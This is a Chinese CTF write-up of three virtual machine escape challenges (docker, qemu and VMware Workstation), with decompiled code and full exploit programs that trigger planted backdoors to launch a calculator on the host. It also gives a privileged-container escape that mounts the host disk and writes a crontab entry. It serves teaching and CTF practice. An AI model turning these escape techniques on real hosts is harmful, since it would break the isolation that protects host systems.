dallao tql
前言
去年的数字经济共测大赛让我接触到了虚拟机逃逸,当时对此一窍不通最后罚坐了两天,之后一直惦记着之前没做出来的题,一直到今天终于完成了最后一个VMWare逃逸,总算是把所有的坑都给填了。4道题目里浏览器的题目P1umer师傅-数字经济线下 Realworld Browser writeup和e3pem师傅-数字经济线下-Browser已经给出题解,剩余的三道题从漏洞层面来说非常简单,这里就作为一个基础实践分享给对虚拟机逃逸有兴趣的朋友。
另外逃逸题目的环境都是虚拟机,这里给出docker逃逸和qemu逃逸的附件以及VMware的patch文件及WorkStation的版本链接
docker逃逸
程序逻辑
题目给了一个虚拟机,内核版本为4.15.0-54-generic,给了一个有漏洞的内核模块de.ko,漏洞主要存在其中,初始化在bss上的hack上分配了一个堆,并用*(_BYTE *)(hack1 + 8) = 1;
置1,之后给了cred的size大小。
__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
__int64 v2; // rdi
__int64 hack1; // rax
_fentry__(a1, a2);
v2 = kmalloc_caches[4];
*(¬e + 0x100000000LL) = 0;
hack1 = kmem_cache_alloc_trace(v2, 0x14000C0LL, 10LL);
*(_BYTE *)(hack1 + 8) = 1;
hack = hack1;
proc_create_data("de", 0x1B6LL, 0LL, &de_proc, 0LL);
printk("/proc/de created\n", 0x1B6LL);
printk("size of cred : %ld \n", 0xA8LL);
return 0LL;
}
read函数将*((_QWORD *)¬e + 1)
的指针的内容拷贝给用户,实际上后面可以看到在这里会分配内存
unsigned __int64 __fastcall de_read(__int64 a1, __int64 user_buf)
{
unsigned __int64 v2; // rdx
unsigned __int64 v3; // r12
unsigned __int64 v4; // rbx
__int64 v5; // r12
_fentry__(a1, user_buf);
v3 = v2;
mutex_lock(&lock);
printk("/proc/de read\n", user_buf);
v4 = (unsigned __int8)note;
if ( (unsigned __int8)note > v3 )
v4 = v3;
v5 = *((_QWORD *)¬e + 1);
_check_object_size(*((_QWORD *)¬e + 1), v4, 1LL);
copy_to_user(user_buf, v5, v4);
mutex_unlock(&lock);
return v4;
}
write函数是我们分析的重点,程序根据我们发送的字符串的第一个字节进行switch case,-1则将用户输入拷贝到(¬e+1),-2则将用户输入拷贝到hack(此时可以覆盖hack+8地址处的值),不为-3或者(hack+8)==1会给(¬e+1)处分配一块指定大小的内存,否则(choice==-3且(hack+8)==0)执行后门代码,弹计算器,如果choice==0则释放*(¬e+1),因此最后只要满足后门条件即可
__int64 __fastcall de_write(__int64 a1, char *from)
{
char *from_1; // rbx
__int64 size; // rdx
__int64 write_size; // r12
__int64 v5; // rsi
char v6; // al
__int64 chunk_addr; // rax
__int64 v8; // rsi
__int64 v10; // rax
unsigned int v11; // eax
__int64 v12; // r13
__int64 v13; // r13
const char *v14; // [rsp-40h] [rbp-40h]
__int64 v15; // [rsp-38h] [rbp-38h]
unsigned __int64 v16; // [rsp-30h] [rbp-30h]
_fentry__(a1, from);
from_1 = from;
write_size = size;
v16 = __readgsqword(0x28u);
mutex_lock(&lock);
v5 = (unsigned __int8)*from;
printk("order:%d", v5);
v6 = *from_1;
if ( *from_1 )
{
if ( v6 == 0xFFu ) // write note
{
printk("note write\n", v5);
v13 = *((_QWORD *)¬e + 1);
_check_object_size(*((_QWORD *)¬e + 1), write_size - 1, 0LL);// check(dst,count,false)
copy_from_user(v13, from_1 + 1, write_size - 1);
printk("write contents compelete\n", from_1 + 1);
}
else if ( v6 == 0xFEu ) // write hack
{
printk("note write magic %ld\n", write_size);
v12 = hack;
_check_object_size(hack, write_size - 1, 0LL);
copy_from_user(v12, from_1 + 1, write_size - 1);
}
else if ( v6 != 0xFDu || *(_BYTE *)(hack + 8) )
{
printk("note malloc\n", v5);
note = *from_1;
printk("write size compelete\n", v5);
chunk_addr = _kmalloc((unsigned __int8)note, 0x14000C0LL);// kmalloc(size,flags)
v8 = (unsigned __int8)note;
*((_QWORD *)¬e + 1) = chunk_addr;
printk("malloc size compelete:%d @ %p\n", v8);// leak heap addr
}
else
{
v10 = prepare_kernel_cred(0LL); // 0xfd
commit_creds(v10);
v14 = "/usr/bin/gnome-calculator";
v15 = 0LL;
v11 = call_usermodehelper("/usr/bin/gnome-calculator", &v14, envp_26376, 1LL);
printk("RC is: %i \n", v11);
}
}
else
{
printk("note free\n", v5);
kfree(*((_QWORD *)¬e + 1)); // double free
}
mutex_unlock(&lock);
return write_size;
}
漏洞利用
先用一次写清空hack+8的值,之后choice=0xfd调用后门弹计算器
exp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
int fd = open("/proc/de",2);
char *user_buf = (char*)malloc(0x10*sizeof(char));
user_buf[0] = '\xfe';
write(fd,user_buf,0x10);
user_buf[0] = '\xfd';
write(fd,user_buf,0x1);
return 0;
}
调试
进入虚拟机,加载漏洞内核模块,启动docker
sudo insmod /home/b/de.ko
sudo docker run -itd --privileged -p 0.0.0.0:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"
传输漏洞文件
scp -P23 ./exp* root@localhost
执行exp,成功
调试docker好像没有直接的方法,我这里是在宿主系统里找到内核文件(/boot/vmlinuz-4.15.0-54-generic),拷贝到我的另一台虚拟机上,使用qemu进行调试。
调试脚本如下:
#! /bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./vmlinuz-4.15.0-54-generic \
-initrd ./initramfs.img \
-append "noexec rdinit=./linuxrc" \
-gdb tcp::1234
想要vmlinux的话可以用github的extract脚本提取,这里用不到,启动qemu之后要先查找各种地址
cat /proc/kallsyms | grep de_write
cat /proc/kallsyms | grep hack
cat /sys/module/de/sections/.text
之后启动gdb,set arch i386:x86-64:intel
设置模拟的架构,target remote localhost:1234
调试内核,add-symbol-file ./de.ko 0xffffffffc03b0000
添加符号表,
刚才我们查找到的hack地址为0xffffffffc03b2500,我们断点下在de_write,continue,在qemu里执行exp,可以看到已经能从gdb断住了,*(hack+8)为1
我们再continue一下,第一次的覆写完成,成功改为0
在0x118处下个断点(commit_creds),成功执行到这里,说明exp执行成功
非预期解
看到知世师傅知世的博客,学到了新的姿势。
docker开启–privileged的情况下其实docker的root跟外部物理机的root权限已经差不多了,我们可以通过mount挂载宿主机的磁盘到内部,进而修改/etc/crontab通过定时任务弹计算器,注意要设置环境变量display=0,注意user要是b(普通用户),display=0的原因可以参见下文display=0,因此只需要在/etc/crontab中加一行
* * * * * b DISPLAY=:0 /usr/bin/gnome-calculator
即可每分钟弹一次计算器
qemu逃逸
程序分析
这题需要一些qemu的基础知识,因为ray-cp
师傅写的非常详细,传送门:qemu pwn-基础知识,我就不再赘述了。另外可以先做下qemu pwn-Blizzard CTF 2017 Strng writeup这道题,很有帮助。
下面一步步开始分析。
看启动方式可以猜到是rfid
这个指定的设备有问题。
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./initramfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios \
-device rfid,id=vda \
首先没有符号表,我们搜下rfid
的字符串,根据之前的分析可以知道入口函数rfid_class_init
里会有字符串rfid_class_init
,所以根据引用可以找到rfid_class_init
,里面那一堆是各种id
,这个不必要再做区分,等会qemu里直接看设备基本就能对应上(或者找一个有符号表的qemu题按照偏移对照一下)
__int64 __fastcall rfid_class_init(__int64 a1)
{
__int64 result; // rax
result = sub_70031D(a1, "pci-device", "/home/wang/qemu/hw/misc/myrfid.c", 0x171LL, "rfid_class_init");
*(_QWORD *)(result + 176) = pci_rfid_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x420;
*(_WORD *)(result + 210) = 0x1337;
*(_BYTE *)(result + 212) = 0x69;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
在class_init里,一定要给个realize
函数,所以这里唯一一个函数指针可以推断出是pci_rfid_realize
unsigned __int64 __fastcall pci_rfid_realize(__int64 pdev, __int64 errp)
{
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
sub_570742(*(_QWORD *)(pdev + 120), 1LL);
if ( !(unsigned int)sub_5C950D(pdev, 0LL, 1LL, 1LL, 0LL, errp) )
{
sub_570635(pdev + 2688, 1LL, sub_570A2E, pdev);
sub_843CE1(pdev + 2520);
sub_843FBD(pdev + 2576);
sub_8449B4(pdev + 2512, "rfid", what, pdev, 0LL);
sub_31B892(pdev + 2272, pdev, rfid_mmio_ops, pdev, "rfid-mmio", &off_1000000);
sub_5C1EF2((_QWORD *)pdev, 0, 0, pdev + 2272);
}
return __readfsqword(0x28u) ^ v3;
}
这时候再找个以前做过的qemu题,看看里面函数的参数,可以发现sub_31B892
这个函数有6个参数且有字符串rfid-mmio
,这就很显然这个函数是memory_region_init_io
,而里面的第三个参数就是rfid_mmio_ops
了。点进去看下,第一个函数指针是rfid_mmio_read
,第二个是rfid_mmio_write
。如此一来就找到了关键的read/write
函数。
.data.rel.ro:0000000000FE9720 rfid_mmio_ops dq offset rfid_mmio_read
.data.rel.ro:0000000000FE9720 ; DATA XREF: pci_rfid_realize+111↑o
.data.rel.ro:0000000000FE9728 dq offset rfid_mmio_write
先看rfid_mmio_read
,第二个参数为我们输入的地址,判断((addr >> 20) & 0xF) != 15
,后面比较两个字符串,后者为wwssadadBABA
,前者根据引用发现赋值来自rfid_mmio_write
,比较成功之后执行command
,看引用也来自rfid_mmio_write
,下面分析write函数。
signed __int64 __fastcall rfid_mmio_read(__int64 a1, unsigned __int64 addr)
{
size_t v2; // rax
if ( ((addr >> 20) & 0xF) != 15 )
{
v2 = strlen(off_10CC100);
if ( !memcmp(input, off_10CC100, v2) )
system(command);
}
return 270438LL;
}
rfid_mmio_write
函数的逻辑实际上就是个小菜单,(addr >> 20) & 0xF
作为result
。
如果result
为[0,5]
,就给input[idx]
赋不同的固定值,idx
为(addr >> 16) & 0xF
;如果result
为6
,就往command
里拷贝数据,src
为&n[4]
,而在程序开始我们*(_QWORD *)&n[4] = value;
将value赋值给了它,因此这里的memcpy
实际上等同于command[(unsigned __int16)arg11] = value
。
_BYTE *__fastcall rfid_mmio_write(__int64 a1, unsigned __int64 addr, __int64 value, unsigned int size)
{
_BYTE *result; // rax
char n[12]; // [rsp+4h] [rbp-3Ch]
unsigned __int64 arg11; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
int idx; // [rsp+30h] [rbp-10h]
int v10; // [rsp+34h] [rbp-Ch]
__int64 v11; // [rsp+38h] [rbp-8h]
v7 = a1;
arg11 = addr;
*(_QWORD *)&n[4] = value;
v11 = a1;
v8 = (addr >> 20) & 0xF;
idx = (addr >> 16) & 0xF;
result = (_BYTE *)((addr >> 20) & 0xF);
switch ( (unsigned __int64)result )
{
case 0uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'w';
}
break;
case 1uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 's';
}
break;
case 2uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'a';
}
break;
case 3uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'd';
}
break;
case 4uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'A';
}
break;
case 5uLL:
if ( idx >= 0 && idx <= 15 )
{
result = input;
input[idx] = 'B';
}
break;
case 6uLL:
v10 = (unsigned __int16)arg11;
result = memcpy(&command[(unsigned __int16)arg11], &n[4], size);
break;
default:
return result;
}
return result;
}
综上所述,我们那两轮rfid_mmio_write
设置input
为wwssadadBABA
,设置command
为gnome-calculator
,最后调用rfid_mmio_read
触发system("gnome-calculator")
,弹出计算器
exp.c
#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint64_t choice,uint64_t idx,uint64_t chr)
{
uint64_t addr = ((choice & 0xf) << 20);
uint64_t value = 0;
addr += ((idx & 0xf) << 16);
printf("the addr is 0x%lx\n",addr);
if(choice == 6){
//write command
value = chr;
addr = idx;
addr += (((choice & 0xf)) << 20);
}
*((uint64_t *)(mmio_mem+addr)) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem+addr));
}
int main()
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
//write command
mmio_write(6,0,0x67);
mmio_write(6,1,0x6e);
mmio_write(6,2,0x6f);
mmio_write(6,3,0x6d);
mmio_write(6,4,0x65);
mmio_write(6,5,0x2d);
mmio_write(6,6,0x63);
mmio_write(6,7,0x61);
mmio_write(6,8,0x6c);
mmio_write(6,9,0x63);
mmio_write(6,10,0x75);
mmio_write(6,11,0x6c);
mmio_write(6,12,0x61);
mmio_write(6,13,0x74);
mmio_write(6,14,0x6f);
mmio_write(6,15,0x72);
//write to input
//wwssadadBABA
mmio_write(0,0,0);
mmio_write(0,1,0);
mmio_write(1,2,0);
mmio_write(1,3,0);
mmio_write(2,4,0);
mmio_write(3,5,0);
mmio_write(2,6,0);
mmio_write(3,7,0);
mmio_write(5,8,0);
mmio_write(4,9,0);
mmio_write(5,10,0);
mmio_write(4,11,0);
//
mmio_read((1 << 20));
return 0;
}
VMWare Workstation逃逸
前言
这题是卡了我最久的,因为网上的资料实在太少,直接搜的话会找到RealWorld CTF、Pwn2Own以及前一段时间的hxp的长亭师傅的分享,但是这些对于新手来说太难上手了,需要过硬的逆向水平以及对VMWare的了解。直到前几天机缘巧合看到了一篇分享2018 RealWorld CTF VMWare Sation Escape的文章
: Pwning VMWare, Part 1: RWCTF 2018 Station-Escape,我这个小菜鸡终于找到了题目的切入点,最终完成逃逸。
基础知识
这题是参照2018年RealWolrd CTF VMWare Station逃逸
改的,且只是留了一个后门,比原题简单的多,这里用到的知识和之后的exp编写都是参考长亭科技发在知乎的专栏Real World CTF 2018 Finals Station-Escape Writeup,这里只简单介绍一下用到的知识,细节可以去原文看。
常用虚拟机的朋友肯定知道虚拟机(guest)一定是能和宿主机(host)通信的,文件复制、文件拖放,文字复制这些都用需要用到二者的通信,这些工作在VMWare中由vmtools帮助完成,其中使用了一种叫做backdoor
的接口。
观察Backdoor
函数调用的代码,backdoor文档
首先需要明确的是,该接口在用户态就可以使用。在通常环境下,IN指令是一条特权指令,在普通用户态程序下是无法使用的。因此,运行这条指令会让用户态程序出错并陷出到hypervisor层,从而hypervisor层可以对客户机进行相关的操作和处理,因此利用此机制完成了通信。利用backdoor的通信机制,客户机便可以使用RPC进行一系列的操作,例如拖放、复制、获取信息、发送信息等等。
/* in Intel syntax (MASM and most Windows based assemblers) */
MOV EAX, 564D5868h /* magic number */
MOV EBX, command-specific-parameter
MOV CX, backdoor-command-number
MOV DX, 5658h /* VMware I/O Port */
IN EAX, DX (or OUT DX, EAX)
/* in AT&T syntax (gnu as and many unix based assemblers) */
movl $0x564D5868, %eax; /* magic number */
movl command-specific-parameter, %ebx;
movw backdoor-command-number, %cx;
movw $0x5658, %dx; /* VMware I/O port */
inl %dx, %eax; (or outl %eax, %dx)
在另一篇文章VMWare GuestRPC mechanism中我们可以看到一个简单的使用demo:
#define BDOOR_MAGIC 0x564D5868
#define BDOOR_PORT 0x5658
#define BDOOR_CMD_GETMHZ 1
#define BDOOR_CMD_GETDISKGEO 3
#define BDOOR_CMD_GETPTRLOCATION 4
#define BDOOR_CMD_SETPTRLOCATION 5
//Continued in backdoor_def.h
Let's now make a simple program querying the current mouse cursor location using VMWare backdoor interface:
#include <stdio.h>
unsigned __declspec(naked) GetMousePos()
{
__asm
{
mov eax, 564D5868h
mov ecx, 4
mov edx, 5658h
in eax, dx
ret
}
}
void main()
{
unsigned mousepos = GetMousePos();
printf("Mouse cursor pos: x=%d,y=%d\n", mousepos >> 16, mousepos & 0xFFFF);
}
If this program is executed on a real machine, the in instruction will cause a "privileged instruction" exception, as user-mode code runs in Ring 3. However, when this program is executed on the virtual machine, it will print the correct mouse cursor position.
上述的代码在物理机中运行会出错,因为涉及到了特权指令,但是在虚拟机中运行可以获取到鼠标游标位置。
除了Backdoor,VMWare提供了一种更加灵活的接口,叫做GuestRPC
,一次RPC请求包含了以下的请求序列:
- Open a GuestRPC channel
- Send command length
- Send command data
- Receive reply size
- Receive reply data
- Signalize end-of-receive
- Close channel
前面的数字对应了调用它们的RPC子命令号,在open-vm-tool
中有实现上述调用过程,对应的函数如下:
//https://github.com/drothlis/open-vm-tools/blob/master/lib/rpcOut/rpcout.c
RpcOut *RpcOut_Construct(void);
void RpcOut_Destruct(RpcOut *out);
Bool RpcOut_start(RpcOut *out);
Bool RpcOut_send(RpcOut *out, char const *request, size_t reqLen,
char const **reply, size_t *repLen);
Bool RpcOut_stop(RpcOut *out);
除了现成的函数,长亭的师傅自己也实现了一套通信中需要的函数,在知乎那篇文章中有详细的参数寄存器设置/返回值含义/调用方式
,限于篇幅不再赘述。
总之,我们现在有了一套guest同host通信的机制。
漏洞分析
静态分析
原题给了vmware.ovf、vmware-disk1.vmdk、vmware.mf、vmware-vmx.patched、VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle和ubuntu-18.04.3-desktop-amd64.iso镜像文件
。前面三个文件是用来搭建本地环境的,vmdk是磁盘文件,通过ovf文件可以导入vmdk从而起一个题目的环境。.bundle
文件可以看成是linux下的安装包,.patch
文件是patch之后的vmware-vmx
文件,这个文件是实际执行.vmx
的二进制文件。
/usr/lib/vmware/bin/vmware-vmx -s vmx.stdio.keep=TRUE -# product=1;name=VMware Workstation;version=15.5.0;buildnumber=14665864;licensename=VMware Workstation;licenseversion=15.0+; -@ duplex=3;msgs=ui /home/wz/vmware/Ubuntu/Ubuntu.vmx
因为是patch文件,我们只要比较和原文件不同即可,这里首先使用.bundle
文件在宿主机ubuntu 18.04
安装上VMWareWordk Station Pro 15.5
,找到/usr/lib/vmware/bin/vmware-vmx
,拖出来,拿BinDiff
定位patch点,这个工具我是参考bindiff基本使用以及小试牛刀 安装使用的,我的IDA版本是7.1,需要安装一个6.8
的IDA,下载4.3
的bindiff方可在IDA使用这个插件。
安装成功之后用IDA打开原vmx,保存idb数据库之后退出。再用IDA打开patch后的vmx,ctrl+6调出bindiff插件选择之前的idb进行比较,之后Save Results
生成.BinDiff
文件,再到bindiff里打开bindiff.jar
,导入这个文件查看详细信息。
可以看到只有一个函数0x16E220
是0.99
的相似,其余全部1
,点进去之后定位到具体的不同点。
发现有块区域被大片nop掉,且换成了调用system
函数的指令,这里很明显是个后门,可以拿来执行命令。
继续回到IDA查看这个漏洞函数,发现其中有关于channel
的字符串GuestMsg: Channel %u, Not enough memory to receive a message
,加上函数开头的switch case判断number的范围为0-6
,很容易联想到这就是GuestRPC Handler
,一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4
,也就是Receive reply data
的处理部分,因为本人逆向水平有限,已经大差不差到漏洞触发条件,就从动态调试入手如何到达这个路径。
case 4:
v40 = sub_16DE80(6LL, 7LL);
v5 = (unsigned int *)v40;
if ( !v40 )
goto LABEL_62;
if ( *(_DWORD *)v40 != 3 )
goto LABEL_20;
if ( *(_BYTE *)(v40 + 8) == 1 )
goto LABEL_48;
if ( !*(_QWORD *)(v40 + 0x38) )
goto LABEL_90;
if ( !(sub_5463D0(v40, 3) & 1) )
{
v7 = (__int64)v5;
goto LABEL_81;
}
v25 = 0x20000LL;
sub_546480(2LL, 0x20000LL);
v41 = v5[0xC];
v42 = (unsigned __int16 *)(*((_QWORD *)v5 + 7) + v5[11] - v41);
if ( (_DWORD)v41 == 2 )
{
v25 = *v42;
v26 = (const char *)3;
sub_546480(3LL, v25);
v43 = v5[0xC] - 2;
v5[12] = v43;
}
else if ( (_DWORD)v41 == 3 )
{
v26 = (const char *)*((_QWORD *)v5 + 7);
system(v26); // recv的时候的后门?
v43 = v5[12] - 3;
v5[12] = v43;
}
动态分析
首先要用Bundle在host中装上vmware(那个ovf文件我导入有点问题也不修了直接自己搭个新的),之后拿patch文件替换掉原vmware-vmx
文件。在host里我们使用sudo gdb ./vmware-vmx_patched -q
启动gdb,之后启动VMware和guest,使用ps -aux | grep vmware-vmx
得到进程pid,在gdb中使用attach $pid
attach到该进程,为了方便先拿echo 0 > /proc/sys/kernel/randomize_va_space
关闭地址随机化,之后b* 0x0000555555554000 + 0x16e60c
下个断点再continue
让虚拟机进程继续。
为了得到漏洞触发路径,我们直接拿长亭师傅的exp过来,精简到只有一次run_cmd
,发送单条指令后在gdb查看情况,发现这里到我们后门需要[ebx+0x30]
为3,经过多次尝试发现这里是个循环处理,每次[ebx+0x30]
会减去4字节发送给guest一直到最后有一个余数,而我们的目的就是让余数为3,再经过计算可以发现当我们输入的命令为4的整数倍的时候最终可以到达漏洞处。
还有一个问题是执行命令的参数前面固定为1
,我在后面加了个;
来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc &
我们的方式是去执行两次命令,一次是char *s1 = "info-set guestinfo.b ;/usr/bin/xcalc &";
,设置这个guestinfo.b
,一次是char *s2 = "info-get guestinfo.b";
去得到刚才设置的值,这个值就是我们调用system函数的参数,在gdb中下断点可以看到最终的调用参数
之后在host里弹出了计算器
exp.c
exp用到长亭师傅的RPC函数实现。
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
);
}
void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
);
}
void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
struct channel{
int cookie1;
int cookie2;
int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
struct channel tmp;
int res,len,i;
char *data;
channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);
channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
//the core part
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to recv finish\n");
}
channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to close channel\n");
return;
}
}
void exploit(){
//the exploit step is almost the same as the leak ones
struct channel chan[10];
int res=0;
int len,i;
char *data;
//char *s1 = "info-set guestinfo.b ;DISPLAY=:1 gnome-calculator";
//char *s1 = "info-set guestinfo.b ;DISPLAY=:1 /usr/bin/gnome-calculator";
char *s1 = "info-set guestinfo.b ;/usr/bin/xcalc &";
char *s2 = "info-get guestinfo.b";
run_cmd(s1);
run_cmd(s2);
}
void main(){
sleep(5);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdin,0,2,0);
exploit();
}
总结
总的来说这次数字经济共测大赛的题目还是很适合新手做的,并不需要太多的虚拟化知识,只要能把环境搭起来,知道一些基本的攻击面就能上手。本篇文章不涉及高深漏洞利用,只作为一篇入门文章给像我这样对逃逸感兴趣但很难有简单题上手的新手分享。